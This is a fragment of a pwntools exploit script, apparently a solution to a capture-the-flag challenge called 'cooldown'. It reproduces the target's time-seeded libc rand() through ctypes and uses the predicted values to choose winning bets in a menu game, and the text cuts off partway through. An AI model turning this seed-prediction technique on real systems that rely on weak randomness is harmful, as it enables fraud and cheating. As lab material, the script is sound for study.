from pwn import * import ctypes point = 20 def money(point): p.sendlineafter(b'>', b'3') p.sendlineafter(b'>', b'5') lib = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6') lib.srand(lib.time(0)) a = lib.rand() % 50 b = lib.rand() % 50 if a > b: p.sendlineafter(b'>', f'{point} 2'.encode()) else: p.sendlineafter(b'>', f'{point} 1'.encode()) print(a, b) #p = process(['cooldown'], env={'LD_PRELOAD':'...